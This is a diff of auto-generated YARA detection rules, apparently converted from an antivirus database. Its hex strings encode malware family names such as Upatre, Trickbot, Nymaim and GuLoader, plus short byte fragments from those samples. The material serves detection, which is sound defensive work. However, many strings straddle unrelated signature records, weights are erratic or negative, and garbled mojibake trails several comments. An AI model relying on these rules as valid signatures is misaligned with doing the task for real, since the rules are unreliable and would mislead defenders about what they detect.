@@ -73835,7 +78078,7 @@ rule _InfrastructureShared_7051{ ((#a_54_0 & 1)*18467+(#a_2f_1 & 1)*29552) >=1 } -rule _InfrastructureShared_7052{ +rule _InfrastructureShared_7453{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -73846,7 +78089,7 @@ rule _InfrastructureShared_7052{ ((#a_54_0 & 1)*18467+(#a_82_1 & 1)*16883) >=1 } -rule _InfrastructureShared_7053{ +rule _InfrastructureShared_7454{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -73857,7 +78100,7 @@ rule _InfrastructureShared_7053{ ((#a_4c_0 & 1)*21539+(#a_d3_1 & 1)*9488) >=1 } -rule _InfrastructureShared_7054{ +rule _InfrastructureShared_7455{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -73867,7 +78110,7 @@ rule _InfrastructureShared_7054{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_7055{ +rule _InfrastructureShared_7456{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -73878,19 +78121,31 @@ rule _InfrastructureShared_7055{ ((#a_5f_0 & 1)*25635+(#a_41_1 & 1)*8448) >=1 } -rule _InfrastructureShared_7056{ +rule _InfrastructureShared_7457{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " strings : $a_46_0 = {48 53 54 52 3a 52 61 6e 73 6f 6d 3a 55 70 61 74 72 65 3a 4c 6f 61 64 65 72 00 01 00 0d 01 35 30 2e 37 2e 31 32 34 2e 31 37 30 00 01 00 15 01 6a 04 68 00 30 00 00 68 00 14 00 00 6a 00 ff d0 83 f8 00 75 02 01 00 1c 03 6a 06 6a 01 } //16675 - $a_95_1 = {01 02 00 00 89 85 ?? ?? 00 00 68 ?? ?? 00 00 90 00 00 00 78 72 00 00 01 00 01 00 03 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 45 6c 65 78 59 61 63 53 61 66 65 44 65 73 6b 2e 41 00 01 00 0d 80 01 69 53 61 66 65 44 65 73 6b 2e 65 78 65 01 00 0d 80 01 49 44 4d 5f 44 45 53 4b 5f 42 4b 47 5f 01 00 21 80 01 49 43 6f 6d 6d 75 3a 3a 53 65 6e 64 43 6f 6d 6d 61 6e 64 28 41 44 42 6c 6f 63 6b 20 50 49 44 73 29 00 00 78 72 00 00 01 00 01 00 03 00 21 23 4c 6f 77 66 69 3a 48 53 54 52 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 4e 79 6d 61 69 6d 00 01 00 1d 01 55 89 e5 50 51 8b 4d 04 e9 4a b0 00 00 83 7c 24 04 36 0f 85 92 b9 00 00 89 6c 24 04 c3 01 00 09 01 30 06 d1 c8 40 46 49 75 f7 01 00 17 03 55 89 e5 50 8b 45 0c 03 45 08 e9 90 16 01 45 04 58 c9 c2 08 00 } //618 - $a_72_2 = {00 01 00 01 00 07 00 21 23 48 53 54 52 3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4f 62 66 75 73 63 61 74 6f 72 2e 57 55 2e 31 00 01 00 06 01 81 c6 5e 0b 00 00 01 00 06 01 81 c2 5e 0b 00 00 01 00 06 01 81 c3 5e 0b 00 00 01 00 06 01 81 c2 3e 08 00 00 01 00 06 01 81 c1 5e 0b 00 00 01 00 06 01 81 c7 5e 0b 00 00 01 00 05 01 05 5e 0b 00 00 00 00 78 72 00 00 02 } //0 + $a_95_1 = {01 02 00 00 89 85 90 01 02 00 00 68 90 01 02 00 00 90 00 00 00 78 72 00 00 01 00 01 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 75 67 61 72 53 70 6f 6f 6e 2e 49 21 64 68 61 00 01 00 10 80 01 66 6f 72 67 65 64 56 34 53 6f 75 72 63 65 49 70 01 00 0e 80 01 66 6f 72 67 65 64 56 34 44 65 73 74 49 70 01 00 19 80 01 50 72 69 76 61 74 65 4c 69 6e 6b 46 6f 72 67 65 64 56 36 50 72 65 66 69 78 00 00 78 72 00 00 01 00 01 00 03 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 45 6c 65 78 59 61 63 53 61 66 65 44 65 73 6b 2e 41 00 01 00 0d 80 01 69 53 61 66 65 44 65 73 6b 2e 65 78 65 01 00 0d 80 01 49 44 4d 5f 44 45 53 4b 5f 42 4b 47 5f 01 00 21 80 01 49 43 6f 6d 6d 75 3a 3a 53 65 6e 64 43 6f 6d 6d 61 6e 64 28 41 44 42 6c 6f 63 6b 20 50 49 44 73 29 } //618 + $a_72_2 = {00 01 00 01 00 03 00 21 23 4c 6f 77 66 69 3a 48 53 54 52 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 4e 79 6d 61 69 6d 00 01 00 1d 01 55 89 e5 50 51 8b 4d 04 e9 4a b0 00 00 83 7c 24 04 36 0f 85 92 b9 00 00 89 6c 24 04 c3 01 00 09 01 30 06 d1 c8 40 46 49 75 f7 01 00 17 03 55 89 e5 50 8b 45 0c 03 45 08 e9 90 16 01 45 04 58 c9 c2 08 00 90 00 00 00 78 72 00 00 01 } //0 condition: ((#a_46_0 & 1)*16675+(#a_95_1 & 1)*618+(#a_72_2 & 1)*0) >=1 } -rule _InfrastructureShared_7057{ +rule _InfrastructureShared_7458{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 75 67 61 72 53 70 6f 6f 6e 2e 49 21 64 68 61 00 01 00 10 80 01 66 6f 72 67 65 64 56 34 53 6f 75 72 63 65 49 70 01 00 0e 80 01 66 6f 72 67 65 64 56 34 44 65 73 74 49 70 01 00 19 80 01 50 } //16675 + $a_61_1 = {65 4c 69 6e 6b 46 6f 72 67 65 64 56 36 50 72 65 66 69 78 00 00 78 72 00 00 01 00 01 00 03 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 45 6c 65 78 59 61 63 53 61 66 65 44 65 73 6b 2e 41 00 01 00 0d 80 01 69 53 61 66 65 44 65 73 6b 2e 65 78 65 01 00 0d 80 01 49 44 4d 5f 44 45 53 4b 5f 42 4b 47 5f 01 00 21 80 01 49 43 6f 6d 6d 75 3a 3a 53 65 6e 64 43 6f } //26994 + $a_6e_2 = {28 41 44 42 6c 6f 63 6b 20 50 49 44 73 29 00 00 78 72 00 00 01 00 01 00 03 00 21 23 4c 6f 77 66 69 3a 48 53 54 52 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 4e 79 6d 61 69 6d 00 01 00 1d 01 55 89 e5 50 51 8b 4d 04 e9 4a b0 00 00 83 7c 24 04 36 0f 85 92 b9 00 00 89 6c 24 04 c3 01 00 09 01 30 } //28013 + condition: + ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*26994+(#a_6e_2 & 1)*28013) >=1 + +} +rule _InfrastructureShared_7459{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -73902,7 +78157,7 @@ rule _InfrastructureShared_7057{ ((#a_46_0 & 1)*16675+(#a_43_1 & 1)*28261+(#a_d1_2 & 1)*12289) >=1 } -rule _InfrastructureShared_7058{ +rule _InfrastructureShared_7460{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -73914,7 +78169,7 @@ rule _InfrastructureShared_7058{ ((#a_77_0 & 1)*19491+(#a_48_1 & 1)*8448+(#a_c6_2 & 1)*262) >=1 } -rule _InfrastructureShared_7059{ +rule _InfrastructureShared_7461{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 07 00 21 " @@ -73922,14 +78177,14 @@ rule _InfrastructureShared_7059{ $a_54_0 = {3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4f 62 66 75 73 63 61 74 6f 72 2e 57 55 2e 31 00 01 00 06 01 81 c6 5e 0b 00 00 01 00 06 01 81 c2 5e 0b 00 00 01 00 06 01 81 c3 5e 0b 00 00 01 00 06 01 81 c2 3e 08 00 00 01 00 06 01 81 c1 5e 0b 00 00 01 00 } //18467 $a_c7_1 = {0b 00 00 01 00 05 01 05 5e 0b 00 00 00 00 78 72 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 49 63 65 64 49 64 2e 53 49 42 47 21 4d 54 42 00 02 00 43 02 83 c6 04 81 fe 90 01 04 90 02 0a 90 18 90 02 20 90 18 90 02 30 8b 15 90 01 04 8b bc 32 90 01 04 90 02 1a 81 c7 90 01 04 90 02 15 89 bc 32 90 1b 07 90 02 10 83 c6 04 81 fe 90 01 04 90 02 0a 0f 82 90 } //262 $a_00_3 = {02 00 } //0 - $a_23_4 = {4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 44 6f 6e 74 54 61 6c 6b 2e 42 21 64 68 61 00 01 00 15 } //2 - $a_67_5 = {74 48 6f 75 73 65 50 65 72 73 69 73 74 2e 64 6c 6c 01 00 2c 01 4f 6e 4f 62 73 65 72 76 65 58 00 4f 6e 4f 62 73 65 72 76 65 00 50 72 65 70 61 72 65 44 65 6c 65 67 61 74 65 00 47 65 74 49 6e 66 6f 00 00 78 72 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 49 6e 6a 65 63 74 6f 72 2e 4e } //19457 - $a_4d_6 = {42 00 01 00 2b 01 02 7b 0d 00 00 04 07 73 90 06 00 06 a4 46 01 00 02 07 17 58 0b 07 02 7b 10 00 00 } //16965 + $a_23_4 = {45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 5a 75 73 79 2e 53 4c 50 50 21 4d 54 42 00 02 00 46 01 } //1 + $a_00_5 = {00 } //32352 + $a_58_6 = {1f 18 62 60 0c 28 32 00 00 0a 7e 01 00 00 04 02 1a 58 08 6f 33 00 00 0a 28 } //516 condition: - ((#a_54_0 & 1)*18467+(#a_c7_1 & 1)*262+(#a_00_3 & 1)*0+(#a_23_4 & 1)*2+(#a_67_5 & 1)*19457+(#a_4d_6 & 1)*16965) >=1 + ((#a_54_0 & 1)*18467+(#a_c7_1 & 1)*262+(#a_00_3 & 1)*0+(#a_23_4 & 1)*1+(#a_00_5 & 1)*32352+(#a_58_6 & 1)*516) >=1 } -rule _InfrastructureShared_7060{ +rule _InfrastructureShared_7462{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -73939,7 +78194,17 @@ rule _InfrastructureShared_7060{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_7061{ +rule _InfrastructureShared_7463{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 5a 75 73 79 2e 53 4c 50 50 21 4d 54 42 00 02 00 46 01 60 7e 01 00 00 04 02 19 58 91 1f 18 62 60 0c 28 32 00 00 0a 7e 01 00 00 04 02 1a 58 08 6f 33 00 00 0a 28 34 00 00 0a } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_7464{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -73950,7 +78215,7 @@ rule _InfrastructureShared_7061{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*20480) >=2 } -rule _InfrastructureShared_7062{ +rule _InfrastructureShared_7465{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -73961,7 +78226,7 @@ rule _InfrastructureShared_7062{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1) >=2 } -rule _InfrastructureShared_7063{ +rule _InfrastructureShared_7466{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -73972,7 +78237,7 @@ rule _InfrastructureShared_7063{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*1) >=2 } -rule _InfrastructureShared_7064{ +rule _InfrastructureShared_7467{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -73983,7 +78248,7 @@ rule _InfrastructureShared_7064{ ((#a_54_0 & 1)*18467+(#a_ab_1 & 1)*-13510) >=2 } -rule _InfrastructureShared_7065{ +rule _InfrastructureShared_7468{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -73994,7 +78259,7 @@ rule _InfrastructureShared_7065{ ((#a_46_0 & 1)*21283+(#a_88_1 & 1)*-10098) >=2 } -rule _InfrastructureShared_7066{ +rule _InfrastructureShared_7469{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -74005,7 +78270,7 @@ rule _InfrastructureShared_7066{ ((#a_46_0 & 1)*21283+(#a_01_1 & 1)*-5927) >=2 } -rule _InfrastructureShared_7067{ +rule _InfrastructureShared_7470{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -74016,7 +78281,7 @@ rule _InfrastructureShared_7067{ ((#a_5f_0 & 1)*25635+(#a_64_1 & 1)*8448) >=2 } -rule _InfrastructureShared_7068{ +rule _InfrastructureShared_7471{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -74027,7 +78292,7 @@ rule _InfrastructureShared_7068{ ((#a_5f_0 & 1)*25635+(#a_48_1 & 1)*8448) >=2 } -rule _InfrastructureShared_7069{ +rule _InfrastructureShared_7472{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -74039,18 +78304,29 @@ rule _InfrastructureShared_7069{ ((#a_54_0 & 1)*18467+(#a_02_1 & 1)*-28479+(#a_3d_2 & 1)*-28672) >=2 } -rule _InfrastructureShared_7070{ +rule _InfrastructureShared_7473{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " strings : - $a_6f_0 = {61 6e 3a 57 69 6e 33 32 2f 54 72 69 63 6b 62 6f 74 2e 44 4c 31 21 4d 54 42 00 01 00 12 03 8a 45 e6 30 44 0d 90 01 01 41 83 f9 90 01 01 72 90 00 01 00 16 03 8a c1 02 45 90 01 01 30 44 0d 90 01 01 41 83 f9 90 01 01 72 90 00 01 00 16 03 30 4c 05 ee 40 83 f8 90 01 01 73 90 01 01 8a 4d 90 01 01 eb 90 00 00 00 78 72 00 00 03 00 03 00 02 00 21 23 } //21539 - $a_3a_1 = {72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4f 66 66 4c 6f 61 64 65 72 2e 4e 46 41 21 4d 54 42 00 02 00 2d 03 72 44 6c 50 74 53 cd e6 d7 7b 0b 2a 01 00 00 00 90 01 01 eb 1c 00 90 01 01 b8 0e 00 00 60 33 00 90 01 04 3a } //19521 + $a_6f_0 = {61 6e 3a 57 69 6e 33 32 2f 54 72 69 63 6b 62 6f 74 2e 44 4c 31 21 4d 54 42 00 01 00 12 03 8a 45 e6 30 44 0d 90 01 01 41 83 f9 90 01 01 72 90 00 01 00 16 03 8a c1 02 45 90 01 01 30 44 0d 90 01 01 41 83 f9 90 01 01 72 90 00 01 00 16 03 30 4c 05 ee 40 83 f8 90 01 01 73 90 01 01 8a 4d 90 01 01 eb 90 00 00 00 78 72 00 00 03 00 03 00 01 00 21 23 } //21539 + $a_3a_1 = {72 6f 6a 61 6e 3a 4d 53 49 4c 2f 52 65 64 63 61 70 2e 50 50 47 21 4d 54 42 00 03 00 45 03 02 72 87 18 00 70 6f 90 01 01 03 00 0a 2c 3e 06 02 6f 90 01 01 03 00 0a 0b 07 16 73 90 01 01 03 00 0a 0c 73 90 01 01 00 00 0a 0d 08 09 28 } //17748 + $a_03_2 = {00 } //400 condition: - ((#a_6f_0 & 1)*21539+(#a_3a_1 & 1)*19521) >=2 + ((#a_6f_0 & 1)*21539+(#a_3a_1 & 1)*17748+(#a_03_2 & 1)*400) >=2 } -rule _InfrastructureShared_7071{ +rule _InfrastructureShared_7474{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 52 65 64 63 61 70 2e 50 50 47 21 4d 54 42 00 03 00 45 03 02 72 87 18 00 70 6f 90 01 01 03 00 0a 2c 3e 06 02 6f 90 01 01 03 00 0a 0b 07 16 73 90 01 01 03 00 0a 0c 73 90 01 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=3 + +} +rule _InfrastructureShared_7475{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " @@ -74061,7 +78337,7 @@ rule _InfrastructureShared_7071{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*12) >=3 } -rule _InfrastructureShared_7072{ +rule _InfrastructureShared_7476{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -74073,7 +78349,7 @@ rule _InfrastructureShared_7072{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*12908+(#a_67_2 & 1)*25089) >=3 } -rule _InfrastructureShared_7073{ +rule _InfrastructureShared_7477{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -74085,7 +78361,7 @@ rule _InfrastructureShared_7073{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*27760+(#a_01_2 & 1)*27748) >=3 } -rule _InfrastructureShared_7074{ +rule _InfrastructureShared_7478{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -74096,43 +78372,79 @@ rule _InfrastructureShared_7074{ ((#a_46_0 & 1)*16675+(#a_2e_2 & 1)*28003) >=3 } -rule _InfrastructureShared_7075{ +rule _InfrastructureShared_7479{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_46_0 = {45 52 3a 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 61 6e 7a 63 65 72 72 65 2e 41 00 01 00 12 01 2a 00 2e 00 73 00 74 00 75 00 62 00 62 00 69 00 6e 00 01 00 16 01 6b 73 64 67 68 6b 73 64 67 68 6b 64 64 67 64 66 67 } //16675 剅䠺呓㩒牔橯湡场湩㈳䰯湡捺牥敲䄮Āሀ⨁⸀猀琀甀戀戀椀渀Āᘀ欁摳桧獫杤歨摤摧杦 $a_66_1 = {01 00 0f 03 72 6f 62 65 72 74 90 01 02 2e 65 78 65 90 00 00 00 78 72 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 49 6e 74 65 6e 74 54 6f 49 6e 6a 65 63 74 50 72 6f 63 56 61 6c 69 64 43 61 6c 6c 00 01 00 0e 80 01 56 69 72 74 75 61 6c 41 6c 6c 6f 63 45 78 01 00 10 80 01 56 69 72 74 75 61 6c 50 72 6f 74 65 63 } //26212 - $a_02_2 = {00 1a 80 01 53 65 74 50 72 6f 63 65 73 73 56 61 6c 69 64 43 61 6c 6c 54 61 72 67 65 74 73 00 00 78 72 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 55 70 61 74 72 65 52 31 00 02 00 23 01 46 83 c6 23 d1 e0 8b c8 8b 06 03 c8 8b 45 fc 03 c8 0f b7 01 83 ee 24 8b 4e 1c 8d 04 81 8b 4d fc 8b 04 01 01 00 12 03 2b c2 8b 08 80 c5 90 01 01 80 c1 90 01 01 75 f4 90 00 01 } //17780 + $a_02_2 = {00 1a 80 01 53 65 74 50 72 6f 63 65 73 73 56 61 6c 69 64 43 61 6c 6c 54 61 72 67 65 74 73 00 00 78 72 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 53 57 21 4d 54 42 00 01 00 1a 81 01 74 68 65 72 6d 6f 65 6c 65 6d 65 6e 74 20 64 72 65 6a 65 73 74 6f 6c 65 6e 73 01 00 10 81 01 62 72 65 64 73 } //17780 condition: ((#a_46_0 & 1)*16675+(#a_66_1 & 1)*26212+(#a_02_2 & 1)*17780) >=3 } -rule _InfrastructureShared_7076{ +rule _InfrastructureShared_7480{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_54_0 = {3a 49 6e 74 65 6e 74 54 6f 49 6e 6a 65 63 74 50 72 6f 63 56 61 6c 69 64 43 61 6c 6c 00 01 00 0e 80 01 56 69 72 74 75 61 6c 41 6c 6c 6f 63 45 78 01 00 10 80 01 56 69 72 74 75 61 6c 50 72 6f 74 65 63 74 45 78 02 00 1a 80 01 53 65 74 50 72 6f 63 65 73 } //18467 - $a_6c_1 = {64 43 61 6c 6c 54 61 72 67 65 74 73 00 00 78 72 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 55 70 61 74 72 65 52 31 00 02 00 23 01 46 83 c6 23 d1 e0 8b c8 8b 06 03 c8 8b 45 fc 03 c8 0f b7 01 83 ee 24 8b 4e 1c 8d 04 81 8b 4d fc 8b 04 01 01 00 12 03 2b c2 8b 08 80 c5 90 01 01 80 c1 90 01 01 } //22131 - $a_00_2 = {01 00 19 03 2b c2 8b 08 80 c1 90 01 01 fe c5 80 c5 90 01 01 fe c9 66 85 c9 75 ed 90 00 00 00 78 72 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 44 44 58 31 32 33 21 4d 54 42 00 01 00 19 81 01 70 61 72 61 6d 65 6e 69 61 20 6b 75 6c 64 20 6d 61 73 74 65 72 77 6f 72 6b 01 00 08 81 01 66 61 72 65 73 6f 65 6e 01 00 18 81 01 74 69 6c 6d 65 6c 64 65 20 66 6f 6e 64 73 73 79 73 74 65 6d 65 } //-2955 + $a_6c_1 = {64 43 61 6c 6c 54 61 72 67 65 74 73 00 00 78 72 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 53 57 21 4d 54 42 00 01 00 1a 81 01 74 68 65 72 6d 6f 65 6c 65 6d 65 6e 74 20 64 72 65 6a 65 73 74 6f 6c 65 6e 73 01 00 10 81 01 } //22131 + $a_64_2 = {74 61 61 65 6e 64 65 2e 65 78 65 01 00 0c 81 01 6f 70 6d 75 6e 74 72 69 6e 67 65 6e 00 00 78 72 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 54 4b 21 4d 54 42 00 01 00 0f 81 01 62 69 73 68 6f 70 65 64 20 73 70 69 73 73 79 01 00 17 81 } //29282 condition: - ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*22131+(#a_00_2 & 1)*-2955) >=3 + ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*22131+(#a_64_2 & 1)*29282) >=3 } -rule _InfrastructureShared_7077{ +rule _InfrastructureShared_7481{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 53 57 21 4d 54 42 00 01 00 1a 81 01 74 68 65 72 6d 6f 65 6c 65 6d 65 6e 74 20 64 72 65 6a 65 73 74 6f 6c 65 6e 73 01 00 10 81 01 62 72 65 64 73 74 61 61 65 6e 64 65 2e 65 78 65 } //18467 + $a_81_1 = {6f 70 6d 75 6e 74 72 69 6e 67 65 6e } //1 opmuntringen + $a_72_2 = {00 03 00 03 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 54 4b 21 4d 54 42 00 01 00 0f 81 01 62 69 73 68 6f 70 65 64 20 73 70 69 73 73 79 01 00 17 81 01 74 6f 6d 62 61 6b 20 77 6f 6f 64 65 6e 68 65 61 64 65 64 2e 65 78 65 01 00 10 81 01 70 61 63 61 74 65 6c 79 20 73 72 65 74 74 65 72 00 00 78 72 00 00 03 } //0 + condition: + ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*1+(#a_72_2 & 1)*0) >=3 + +} +rule _InfrastructureShared_7482{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 54 4b 21 4d 54 42 00 01 00 0f 81 01 62 69 73 68 6f 70 65 64 20 73 70 69 73 73 79 01 00 17 81 01 74 6f 6d 62 61 6b 20 77 6f 6f 64 65 6e 68 65 61 64 65 64 2e 65 78 65 01 00 10 81 } //18467 + $a_63_1 = {74 65 6c 79 20 73 72 65 74 74 65 72 00 00 78 72 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 55 70 61 74 72 65 52 31 00 02 00 23 01 46 83 c6 23 d1 e0 8b c8 8b 06 03 c8 8b 45 fc 03 c8 0f b7 01 83 ee 24 8b 4e 1c 8d 04 81 8b 4d fc 8b 04 01 01 00 12 03 2b c2 8b 08 80 c5 90 01 01 80 c1 90 01 01 } //28673 + $a_00_2 = {01 00 19 03 2b c2 8b 08 80 c1 90 01 01 fe c5 80 c5 90 01 01 fe c9 66 85 c9 75 ed 90 00 00 00 78 72 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4f 54 30 31 21 4d 54 42 00 01 00 22 81 01 6b 76 69 76 61 6c 65 6e 74 73 20 6c 6f 72 64 6c 69 6c 79 20 62 61 6c 6b 61 76 61 6c 65 72 65 72 6e 65 01 00 11 81 01 73 65 6d 69 73 65 63 6f 6e 64 61 72 79 2e 65 78 65 01 00 08 81 01 74 69 6e 67 67 } //-2955 + condition: + ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*28673+(#a_00_2 & 1)*-2955) >=3 + +} +rule _InfrastructureShared_7483{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_54_0 = {3a 55 70 61 74 72 65 52 31 00 02 00 23 01 46 83 c6 23 d1 e0 8b c8 8b 06 03 c8 8b 45 fc 03 c8 0f b7 01 83 ee 24 8b 4e 1c 8d 04 81 8b 4d fc 8b 04 01 01 00 12 03 2b c2 8b 08 80 c5 90 01 01 80 c1 90 01 01 75 f4 90 00 01 00 19 03 2b c2 8b 08 80 c1 90 01 } //18467 - $a_80_1 = {90 01 01 fe c9 66 85 c9 75 ed 90 00 00 00 78 72 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 44 44 58 31 32 33 21 4d 54 42 00 01 00 19 81 01 70 61 72 61 6d 65 6e 69 61 20 6b 75 6c 64 20 6d 61 73 74 65 72 77 6f 72 6b 01 00 08 81 01 66 61 72 65 73 6f 65 6e 01 00 18 81 01 74 69 6c 6d 65 6c 64 65 20 66 6f 6e 64 73 73 79 73 74 65 6d 65 72 6e 65 00 00 78 72 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 49 55 46 31 32 33 21 4d 54 42 00 01 00 20 81 01 73 6f 6c 64 61 74 65 72 62 6f 67 73 20 61 6e 69 } //���f��u� -511 - $a_20_2 = {69 64 65 72 65 66 72 65 6e 64 65 01 00 12 81 01 68 6f 6c 73 74 73 20 70 6f 6c 79 7a 6f 61 72 69 75 6d 01 00 07 81 01 67 72 61 76 6b 65 72 00 00 78 72 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4b 4a 43 31 32 33 21 4d 54 42 00 01 00 0e 81 01 62 72 6f 6e 63 68 69 6f 63 72 69 73 69 } //26988 + $a_80_1 = {90 01 01 fe c9 66 85 c9 75 ed 90 00 00 00 78 72 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4f 54 30 31 21 4d 54 42 00 01 00 22 81 01 6b 76 69 76 61 6c 65 6e 74 73 20 6c 6f 72 64 6c 69 6c 79 20 62 61 6c 6b 61 76 61 6c 65 72 65 72 6e 65 01 00 11 81 01 73 65 6d 69 73 65 63 6f 6e 64 61 72 79 2e 65 78 65 01 00 08 81 01 74 69 6e 67 67 69 61 6e 00 00 78 72 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 